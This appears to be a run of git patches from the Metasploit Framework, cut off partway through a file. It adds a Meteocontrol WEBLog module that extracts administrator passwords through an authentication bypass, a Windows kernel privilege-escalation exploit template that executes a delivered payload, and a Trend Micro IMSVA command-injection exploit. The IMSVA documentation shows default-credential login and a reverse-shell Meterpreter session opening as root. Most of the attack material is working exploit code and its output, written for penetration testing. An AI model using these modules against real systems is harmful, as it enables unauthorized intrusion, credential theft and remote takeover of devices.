b/documentation/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.md new file mode 100644 index 0000000000..68d227a58d --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.md @@ -0,0 +1,54 @@ +Meteocontrol WEB'Log Data Loggers are affected with an authentication bypass vulnerability. The module exploits this vulnerability to remotely extract Administrator password for the device management portal. + +Note: In some versions, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Manual verification will be required in such cases. + +## Verification Steps + +1. Do: ```auxiliary/scanner/http/meteocontrol_weblog_extractadmin``` +2. Do: ```set RHOSTS [IP]``` +3. Do: ```set RPORT [PORT]``` +4. Do: ```run``` + +## Sample Output + + ``` +msf > use auxiliary/scanner/http/meteocontrol_weblog_extractadmin +msf auxiliary(meteocontrol_weblog_extractadmin) > info + + Name: MeteoControl WEBLog Password Extractor + Module: auxiliary/scanner/http/meteocontrol_weblog_extractadmin + License: Metasploit Framework License (BSD) + Rank: Normal + +Provided by: + Karn Ganeshen + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target address range or CIDR identifier + RPORT 8080 yes The target port + SSL false no Negotiate SSL/TLS for outgoing connections + THREADS 1 yes The number of concurrent threads + VHOST no HTTP server virtual host + +Description: + This module exploits an authentication bypass vulnerability in + Meteocontrol WEBLog (all models) to extract Administrator password + for the device management portal. + +References: + https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01 + http://cvedetails.com/cve/2016-2296/ + http://cvedetails.com/cve/2016-2298/ + +msf auxiliary(meteocontrol_weblog_extractadmin) > set rhosts 1.2.3.4 +msf auxiliary(meteocontrol_weblog_extractadmin) > run + +[+] 1.2.3.4:8080 - Running Meteocontrol WEBlog management portal... +[*] 1.2.3.4:8080 - Attempting to extract Administrator password... +[+] 1.2.3.4:8080 - Password is password +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed + ``` From 467a4765980b0adad7cbb09ed0a086339a511fa5 Mon Sep 17 00:00:00 2001 From: wizard32 Date: Sun, 8 Jan 2017 13:33:01 +0200 Subject: [PATCH 033/426] Update websphere_java_deserialize.rb --- modules/exploits/windows/misc/websphere_java_deserialize.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/misc/websphere_java_deserialize.rb b/modules/exploits/windows/misc/websphere_java_deserialize.rb index 348972b6a5..b68585d79a 100644 --- a/modules/exploits/windows/misc/websphere_java_deserialize.rb +++ b/modules/exploits/windows/misc/websphere_java_deserialize.rb @@ -22,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'Liatsis Fotios @liatsisfotios' # Metasploit Module + 'Liatsis Fotios @liatsisfotios' # Metasploit Module # Thanks for helping me: # # # # # # # # # # # # @@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => "Nov 6 2015", 'DefaultTarget' => 0, 'DefaultOptions' => { - 'SSL' => true, + 'SSL' => true, 'WfsDelay' => 20 })) From 130b1be2df654c10a1c6c327f3163454c59bd2b9 Mon Sep 17 00:00:00 2001 From: wizard32 Date: Sun, 8 Jan 2017 14:35:36 +0200 Subject: [PATCH 034/426] Rename test to testaaaa --- testaaaa | 1 + 1 file changed, 1 insertion(+) create mode 100644 testaaaa diff --git a/testaaaa b/testaaaa new file mode 100644 index 0000000000..9daeafb986 --- /dev/null +++ b/testaaaa @@ -0,0 +1 @@ +test From 8fdef785a09453c19402fd60f216f1f8827d71da Mon Sep 17 00:00:00 2001 From: wizard32 Date: Sun, 8 Jan 2017 14:37:12 +0200 Subject: [PATCH 035/426] Delete testaaaa --- testaaaa | 1 - 1 file changed, 1 deletion(-) delete mode 100644 testaaaa diff --git a/testaaaa b/testaaaa deleted file mode 100644 index 9daeafb986..0000000000 --- a/testaaaa +++ /dev/null @@ -1 +0,0 @@ -test From 657c7444bf279a4ff0852e4d257a1d940a001963 Mon Sep 17 00:00:00 2001 From: juushya Date: Tue, 17 Jan 2017 00:17:57 +0530 Subject: [PATCH 036/426] rubocop check & msftidy clean. Few updates. --- .../http/meteocontrol_weblog_extractadmin.md | 32 +----------- .../http/meteocontrol_weblog_extractadmin.rb | 52 +++++++++---------- 2 files changed, 27 insertions(+), 57 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.md b/documentation/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.md index 68d227a58d..a1eba6a6c9 100644 --- a/documentation/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.md +++ b/documentation/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.md @@ -4,7 +4,7 @@ Note: In some versions, 'Website password' page is renamed or not present. There ## Verification Steps -1. Do: ```auxiliary/scanner/http/meteocontrol_weblog_extractadmin``` +1. Do: ```use auxiliary/scanner/http/meteocontrol_weblog_extractadmin``` 2. Do: ```set RHOSTS [IP]``` 3. Do: ```set RPORT [PORT]``` 4. Do: ```run``` @@ -13,36 +13,6 @@ Note: In some versions, 'Website password' page is renamed or not present. There ``` msf > use auxiliary/scanner/http/meteocontrol_weblog_extractadmin -msf auxiliary(meteocontrol_weblog_extractadmin) > info - - Name: MeteoControl WEBLog Password Extractor - Module: auxiliary/scanner/http/meteocontrol_weblog_extractadmin - License: Metasploit Framework License (BSD) - Rank: Normal - -Provided by: - Karn Ganeshen - -Basic options: - Name Current Setting Required Description - ---- --------------- -------- ----------- - Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOSTS yes The target address range or CIDR identifier - RPORT 8080 yes The target port - SSL false no Negotiate SSL/TLS for outgoing connections - THREADS 1 yes The number of concurrent threads - VHOST no HTTP server virtual host - -Description: - This module exploits an authentication bypass vulnerability in - Meteocontrol WEBLog (all models) to extract Administrator password - for the device management portal. - -References: - https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01 - http://cvedetails.com/cve/2016-2296/ - http://cvedetails.com/cve/2016-2298/ - msf auxiliary(meteocontrol_weblog_extractadmin) > set rhosts 1.2.3.4 msf auxiliary(meteocontrol_weblog_extractadmin) > run diff --git a/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb b/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb index 4e8a42aa61..2887c85bb7 100644 --- a/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb +++ b/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb @@ -15,25 +15,25 @@ class MetasploitModule < Msf::Auxiliary super(update_info(info, 'Name' => 'Meteocontrol WEBlog Password Extractor', 'Description' => %{ - This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog (all models) to extract Administrator password for the device management portal. + This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog appliances (software version < May 2016 release) to extract Administrator password for the device management portal. }, 'References' => [ - [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01' ], - [ 'CVE', '2016-2296' ], - [ 'CVE', '2016-2298' ] + ['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01'], + ['CVE', '2016-2296'], + ['CVE', '2016-2298'] ], 'Author' => [ - 'Karn Ganeshen ', + 'Karn Ganeshen ' ], - 'License' => MSF_LICENSE - )) + 'License' => MSF_LICENSE)) register_options( - [ - Opt::RPORT(8080) # Application may run on a different port too. Change port accordingly. - ], self.class) + [ + Opt::RPORT(8080) # Application may run on a different port too. Change port accordingly. + ], self.class + ) end def run_host(ip) @@ -50,17 +50,17 @@ class MetasploitModule < Msf::Auxiliary def is_app_metweblog? begin - res = send_request_cgi( - { - 'uri' => '/html/en/index.html', - 'method' => 'GET' + res = send_request_cgi({ + 'uri' => '/html/en/index.html', + 'method' => 'GET' }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError print_error("#{rhost}:#{rport} - HTTP Connection Failed...") return false end - if (res and res.code == 200 and (res.headers['Server'] and res.headers['Server'].include?("IS2 Web Server") or res.body.include?("WEB'log"))) + if (res && res.code == 200 && (res.headers['Server'] && res.headers['Server'].include?("IS2 Web Server") || res.body.include?("WEB'log"))) print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...") return true else @@ -77,27 +77,27 @@ class MetasploitModule < Msf::Auxiliary print_status("#{rhost}:#{rport} - Attempting to extract Administrator password...") begin - res = send_request_cgi( - { - 'uri' => '/html/en/confAccessProt.html', - 'method' => 'GET' + res = send_request_cgi({ + 'uri' => '/html/en/confAccessProt.html', + 'method' => 'GET' }) - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE print_error("#{rhost}:#{rport} - HTTP Connection Failed...") return end - if (res and res.code == 200 and res.body.include?("szWebAdminPassword") or res.body=~ /Admin Monitoring/) + if (res && res.code == 200 && (res.body.include?("szWebAdminPassword") || res.body=~ /Admin Monitoring/)) get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/) admin_password = get_admin_password[1] print_good("#{rhost}:#{rport} - Password is #{admin_password}") report_cred( - ip: rhost, - port: rport, - service_name: 'Meteocontrol WEBlog Management Portal', - password: admin_password, - proof: res.body) + ip: rhost, + port: rport, + service_name: 'Meteocontrol WEBlog Management Portal', + password: admin_password, + proof: res.body + ) else # In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Try login manually in such cases. print_error("Password not found. Check login manually.") From 32173b9701d6259c395cc149789195f95bccc10d Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 17 Jan 2017 11:19:26 +1000 Subject: [PATCH 037/426] Move execute_payload to the kernel lib --- .../capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.c | 9 +-------- external/source/win_kernel_common/kernel.c | 9 ++++++++- external/source/win_kernel_common/kernel.h | 1 + 3 files changed, 10 insertions(+), 9 deletions(-) diff --git a/external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.c b/external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.c index 5023420aac..3b35653750 100755 --- a/external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.c +++ b/external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.c @@ -3,14 +3,7 @@ #include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "kernel.h" -DWORD WINAPI execute_payload(LPVOID lpPayload) -{ - VOID(*lpCode)() = (VOID(*)())lpPayload; - lpCode(); - return ERROR_SUCCESS; -} - -DWORD WINAPI capcom_sys_exec(LPVOID lpPayload) +DWORD capcom_sys_exec(LPVOID lpPayload) { const DWORD PwnControlCode = 0xAA013044; HANDLE driver = INVALID_HANDLE_VALUE; diff --git a/external/source/win_kernel_common/kernel.c b/external/source/win_kernel_common/kernel.c index 070acf3322..0b578e3a1c 100755 --- a/external/source/win_kernel_common/kernel.c +++ b/external/source/win_kernel_common/kernel.c @@ -271,4 +271,11 @@ VOID destroy_anon_mapping(MemMapping* memMap) memMap->mapping = NULL; } } -} \ No newline at end of file +} + +DWORD execute_payload(LPVOID lpPayload) +{ + VOID(*lpCode)() = (VOID(*)())lpPayload; + lpCode(); + return ERROR_SUCCESS; +} diff --git a/external/source/win_kernel_common/kernel.h b/external/source/win_kernel_common/kernel.h index 492b7a7ade..4d7d316931 100755 --- a/external/source/win_kernel_common/kernel.h +++ b/external/source/win_kernel_common/kernel.h @@ -19,5 +19,6 @@ BOOL create_anon_mapping(MemMapping* memMap); VOID destroy_anon_mapping(MemMapping* memMap); VOID invoke_hal_dispatch_pointer(); BOOL is_driver_loaded(wchar_t* driverName); +DWORD execute_payload(LPVOID lpPayload); #endif From b6e882c8ebec2cb4bd7a62183a6972595d854840 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 17 Jan 2017 11:20:14 +1000 Subject: [PATCH 038/426] Add a Windows LPE exploit template for x64/x86 --- .../exploits/windows-lpe-template/.gitignore | 151 +++++++++++++++ .../windows-lpe-template/make.msbuild | 18 ++ .../windows-lpe-template.sln | 22 +++ .../windows-lpe-template/exploit.c | 88 +++++++++ .../windows-lpe-template.vcxproj | 172 ++++++++++++++++++ 5 files changed, 451 insertions(+) create mode 100755 external/source/exploits/windows-lpe-template/.gitignore create mode 100755 external/source/exploits/windows-lpe-template/make.msbuild create mode 100755 external/source/exploits/windows-lpe-template/windows-lpe-template.sln create mode 100755 external/source/exploits/windows-lpe-template/windows-lpe-template/exploit.c create mode 100755 external/source/exploits/windows-lpe-template/windows-lpe-template/windows-lpe-template.vcxproj diff --git a/external/source/exploits/windows-lpe-template/.gitignore b/external/source/exploits/windows-lpe-template/.gitignore new file mode 100755 index 0000000000..7649d7f46b --- /dev/null +++ b/external/source/exploits/windows-lpe-template/.gitignore @@ -0,0 +1,151 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.sln.docstates + +# Build results + +[Dd]ebug/ +[Rr]elease/ +x64/ +build/ +[Bb]in/ +[Oo]bj/ + +# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets +!packages/*/build/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +*_i.c +*_p.c +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.log +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +*.ncrunch* +.*crunch*.local.xml + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.Publish.xml +*.pubxml + +# NuGet Packages Directory +## TODO: If you have NuGet Package Restore enabled, uncomment the next line +#packages/ + +# Windows Azure Build Output +csx +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Others +sql/ +*.Cache +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.[Pp]ublish.xml +*.pfx +*.publishsettings + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file to a newer +# Visual Studio version. Backup files are not needed, because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +App_Data/*.mdf +App_Data/*.ldf + +# ========================= +# Windows detritus +# ========================= + +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Mac crap +.DS_Store diff --git a/external/source/exploits/windows-lpe-template/make.msbuild b/external/source/exploits/windows-lpe-template/make.msbuild new file mode 100755 index 0000000000..e4add0d3a0 --- /dev/null +++ b/external/source/exploits/windows-lpe-template/make.msbuild @@ -0,0 +1,18 @@ + + + + .\windows-lpe-template.sln + + + + + + + + + + + + + + diff --git a/external/source/exploits/windows-lpe-template/windows-lpe-template.sln b/external/source/exploits/windows-lpe-template/windows-lpe-template.sln new file mode 100755 index 0000000000..360b9810ce --- /dev/null +++ b/external/source/exploits/windows-lpe-template/windows-lpe-template.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "windows-lpe-template", "windows-lpe-template\windows-lpe-template.vcxproj", "{A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|Win32.ActiveCfg = Release|Win32 + {A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|Win32.Build.0 = Release|Win32 + {A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|x64.ActiveCfg = Release|x64 + {A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/windows-lpe-template/windows-lpe-template/exploit.c b/external/source/exploits/windows-lpe-template/windows-lpe-template/exploit.c new file mode 100755 index 0000000000..c809f9aa72 --- /dev/null +++ b/external/source/exploits/windows-lpe-template/windows-lpe-template/exploit.c @@ -0,0 +1,88 @@ +// Make sure you leave these defines and includes alone. +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +#include "kernel.h" + +// Add your own defines/includes here. + +DWORD WINAPI run_exploit(LPVOID lpPayload) +{ + // Put your required local variables here + //LPVOID thing = malloc(100); + + do + { + // all of your exploit stuff goes here + + // Do some work, check for error, if fails, break. + // TODO: remove this if not needed, otherwise modify + // to run your own code. + //if (FALSE) + //{ + // break; + //} + + // prepare for kernel exploitation after the initial work has been done. + // This allows for other helper functions to run inside the kernel. If + // you forget to do this bit, then things in kernel land will crash! + if (!prepare_for_kernel()) + { + break; + } + + // This is where the exploit should be run from. When executing your exploit, + // make sure that the `steal_process_token()` function from kernel.h is executed + // inside the kernel (and preferrably nothing more!). This will conduct the token stealing + // under the context of the kernel. + + // Check to see if things worked, and that we have a payload + if (was_token_replaced() && lpPayload) + { + // If so, just go ahead and execute the payload that MSF sent us. + execute_payload(lpPayload); + } + + } while (0); + + // Free up your stuff here. + //if (thing != NULL) + //{ + // free(thing); + //} + + return 0; +} + +//////////////////////////////////////////////////////////////////////////////////////////////////// +// +// There shouldn't be any need to modify anything below this line. +// +//////////////////////////////////////////////////////////////////////////////////////////////////// + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) + { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + // lpReserved should have been passed in by MSF and points + // to the shellcode/payload that is to be executed if the + // exploit actually succeeds. + run_exploit(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} diff --git a/external/source/exploits/windows-lpe-template/windows-lpe-template/windows-lpe-template.vcxproj b/external/source/exploits/windows-lpe-template/windows-lpe-template/windows-lpe-template.vcxproj new file mode 100755 index 0000000000..3fc9a1df8c --- /dev/null +++ b/external/source/exploits/windows-lpe-template/windows-lpe-template/windows-lpe-template.vcxproj @@ -0,0 +1,172 @@ + + + + + Release + Win32 + + + Release + x64 + + + + + + + + + + + + {a67ba207-7aac-4850-beb1-e7fa07bac0b1} + windows_lpe_template + Win32Proj + + + + DynamicLibrary + MultiByte + false + v120_xp + + + DynamicLibrary + MultiByte + false + v120_xp + + + + + + + + + + + <_ProjectFileVersion>10.0.30319.1 + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ + false + false + AllRules.ruleset + + + $(ProjectName).$(PlatformShortName) + + + $(VC_IncludePath);$(WindowsSdk_71A_IncludePath);../../../win_kernel_common + + + $(VC_IncludePath);$(WindowsSdk_71A_IncludePath);../../../win_kernel_common + + + + MinSpace + OnlyExplicitInline + false + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;CAPCOM_SYS_EXEC_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + true + + + psapi.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + %(DelayLoadDLLs) + false + true + $(OutDir)\windows-lep-template.map + Windows + + + + + false + + + $(OutDir)\windows-lep-template.lib + false + + + /ignore:4070 + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "..\..\..\..\..\data\exploits\windows-lep-template\" GOTO COPY + mkdir "..\..\..\..\..\data\exploits\windows-lep-template\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\windows-lep-template\" + + + + + MinSpace + OnlyExplicitInline + false + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;CAPCOM_SYS_EXEC_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + true + + + psapi.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + %(DelayLoadDLLs) + false + true + $(OutDir)\windows-lep-template.map + Windows + + + + + false + + + $(OutDir)\windows-lep-template.lib + false + + + /ignore:4070 + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "..\..\..\..\..\data\exploits\windows-lep-template\" GOTO COPY + mkdir "..\..\..\..\..\data\exploits\windows-lep-template\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\windows-lep-template\" + + + + + + + \ No newline at end of file From c2c352c2acefe350fb251d19a07abee04cdee4e5 Mon Sep 17 00:00:00 2001 From: Mehmet Ince Date: Wed, 18 Jan 2017 11:34:16 +0300 Subject: [PATCH 039/426] Adding Trend Micro IMSVA module --- .../linux/http/trend_micro_imsva_exec.md | 71 +++++++++ .../linux/http/trend_micro_imsva_exec.rb | 146 ++++++++++++++++++ 2 files changed, 217 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/trend_micro_imsva_exec.md create mode 100644 modules/exploits/linux/http/trend_micro_imsva_exec.rb diff --git a/documentation/modules/exploit/linux/http/trend_micro_imsva_exec.md b/documentation/modules/exploit/linux/http/trend_micro_imsva_exec.md new file mode 100644 index 0000000000..30e8c480af --- /dev/null +++ b/documentation/modules/exploit/linux/http/trend_micro_imsva_exec.md @@ -0,0 +1,71 @@ +## Vulnerable Application + +This module exploits a command injection vulnerability in the Trend Micro InterScan Messaging Security (Virtual Appliance) product. An authenticated user can execute a terminal command under the context of the web server user which is root. Besides, default installation of IMSVA comes with a default administrator credentials. + +saveCert.imss endpoint takes several user inputs and performs blacklisting. After that it use them as argument of predefined operating system command without proper sanitation. However,due to improper blacklisting rule it's possible to inject arbitrary commands into it. InterScan Messaging Security prior to 9.1.-1600 affected by this issue. + +**Vulnerable Application Installation Steps** + +IMSVA is distrubed as an ISO image by Trend Micro. + +Following steps are valid on the CentOS 6 x64 bit operating system. + +1. Open following URL [http://downloadcenter.trendmicro.com/](http://downloadcenter.trendmicro.com/) +2. Find "InterScan Messaging Security (Virtual Appliance)" and click. +3. At the time of writing this documentation, you must see "IMSVA-9.1-1600-x86-64-r2.iso" next to Download button. +4. Click to the download button and complete installation of ISO. + +If you don't see a affected version of IMSVA, you can try to download IMSVA-9.1-1600 directly from following URL. + +[http://files.trendmicro.com/products/imsva/9.1/IMSVA-9.1-1600-x86_64-r2.iso](http://files.trendmicro.com/products/imsva/9.1/IMSVA-9.1-1600-x86_64-r2.iso) + +**System requirements:** +- Virtualbox or VMware can be used. +- 4 GB of memory at least. +- 120 GB of disk size at least. + +## Verification Steps + +A successful check of the exploit will look like this: + +``` +msf > use exploit/linux/http/trend_micro_imsva_exec +msf exploit(trend_micro_imsva_exec) > set RHOST 12.0.0.140 +RHOST => 12.0.0.140 +msf exploit(trend_micro_imsva_exec) > set LHOST 12.0.0.1 +LHOST => 12.0.0.1 +msf exploit(trend_micro_imsva_exec) > exploit + +[*] Started reverse TCP handler on 12.0.0.1:4444 +[*] Attempting to login with admin:imsva +[+] Authenticated as admin:imsva +[*] Delivering payload... +[*] Sending stage (38622 bytes) to 12.0.0.140 +[*] Meterpreter session 1 opened (12.0.0.1:4444 -> 12.0.0.140:60822) at 2017-01-18 11:29:36 +0300 + +meterpreter > getuid +Server username: root +meterpreter > +``` + +You must be getting ```no access``` error if the supplied username and password or default credentials are wrong. + +``` +msf exploit(trend_micro_imsva_exec) > back +msf > use exploit/linux/http/trend_micro_imsva_exec +msf exploit(trend_micro_imsva_exec) > set RHOST 12.0.0.140 +RHOST => 12.0.0.140 +msf exploit(trend_micro_imsva_exec) > set LHOST 12.0.0.1 +LHOST => 12.0.0.1 +msf exploit(trend_micro_imsva_exec) > +msf exploit(trend_micro_imsva_exec) > set USERNAME notvalid +USERNAME => notvalid +msf exploit(trend_micro_imsva_exec) > set PASSWORD notvalid123 +PASSWORD => notvalid123 +msf exploit(trend_micro_imsva_exec) > exploit + +[*] Started reverse TCP handler on 12.0.0.1:4444 +[*] Attempting to login with notvalid:notvalid123 +[-] Exploit aborted due to failure: no-access: 12.0.0.140:8445 - Login with notvalid:notvalid123 failed... +[*] Exploit completed, but no session was created. +``` \ No newline at end of file diff --git a/modules/exploits/linux/http/trend_micro_imsva_exec.rb b/modules/exploits/linux/http/trend_micro_imsva_exec.rb new file mode 100644 index 0000000000..d869ff2876 --- /dev/null +++ b/modules/exploits/linux/http/trend_micro_imsva_exec.rb @@ -0,0 +1,146 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution', + 'Description' => %q{ + This module exploits a command injection vulnerability in the Trend Micro + IMSVA product. An authenticated user can execute a terminal command under + the context of the web server user which is root. Besides, default installation + of IMSVA comes with a default administrator credentials. + + saveCert.imss endpoint takes several user inputs and performs blacklisting. + After that it use them as argument of predefined operating system command + without proper sanitation. However,due to improper blacklisting rule it's possible to inject + arbitrary commands into it. InterScan Messaging Security prior to 9.1.-1600 affected by this issue. + + This module was tested against IMSVA 9.1-1600. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Mehmet Ince ' # discovery & msf module + ], + 'References' => + [ + ['URL', 'https://pentest.blog/advisory-trend-micro-interscan-messaging-security-virtual-appliance-remote-code-execution/'] + ], + 'Privileged' => true, + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true, + 'BadChars' => "\x2f\x22" + }, + 'DefaultOptions' => + { + 'SSL' => true, + 'payload' => 'python/meterpreter/reverse_tcp', + }, + 'Platform' => ['python'], + 'Arch' => ARCH_PYTHON, + 'Targets' => [ ['Automatic', {}] ], + 'DisclosureDate' => 'Jan 15 2017', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The target URI of the Trend Micro IMSVA', '/']), + OptString.new('USERNAME', [ true, 'The username for authentication', 'admin' ]), + OptString.new('PASSWORD', [ true, 'The password for authentication', 'imsva' ]), + Opt::RPORT(8445) + ] + ) + end + + def login + + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + + print_status("Attempting to login with #{user}:#{pass}") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'login.imss'), + 'vars_post' => { + 'userid' => user, + 'pwdfake' => Rex::Text::encode_base64(pass) + } + }) + + if res && res.body.include?("The user name or password you entered is invalid") + fail_with(Failure::NoAccess, "#{peer} - Login with #{user}:#{pass} failed...") + end + + cookie = res.get_cookies + if res.code == 302 && cookie.include?("JSESSIONID") + jsessionid = cookie.scan(/JSESSIONID=(\w+);/).flatten.first + print_good("Authenticated as #{user}:#{pass}") + return jsessionid + end + + nil + end + + def exploit + + jsessionid = login + + unless jsessionid + fail_with(Failure::Unknown, 'Unable to obtain the cookie session ID') + end + + # Somehow java stores last visited url on session like viewstate! + # Visit form before submitting it. Otherwise, it will cause a crash. + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'initCert.imss'), + 'cookie' => "JSESSIONID=#{jsessionid}" + }) + + if !res or !res.body.include?("Transport Layer Security") + fail_with(Failure::Unknown, 'Unable to visit initCert.imss') + end + + # Random string that will be used as a cert name, state, email etc. + r = Rex::Text::rand_text_alphanumeric(5) + + print_status("Delivering payload...") + + # Since double quote are blacklisted, we are using Single, Backslash, Single, Single on our payload. Thanks to @wvu !!! + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 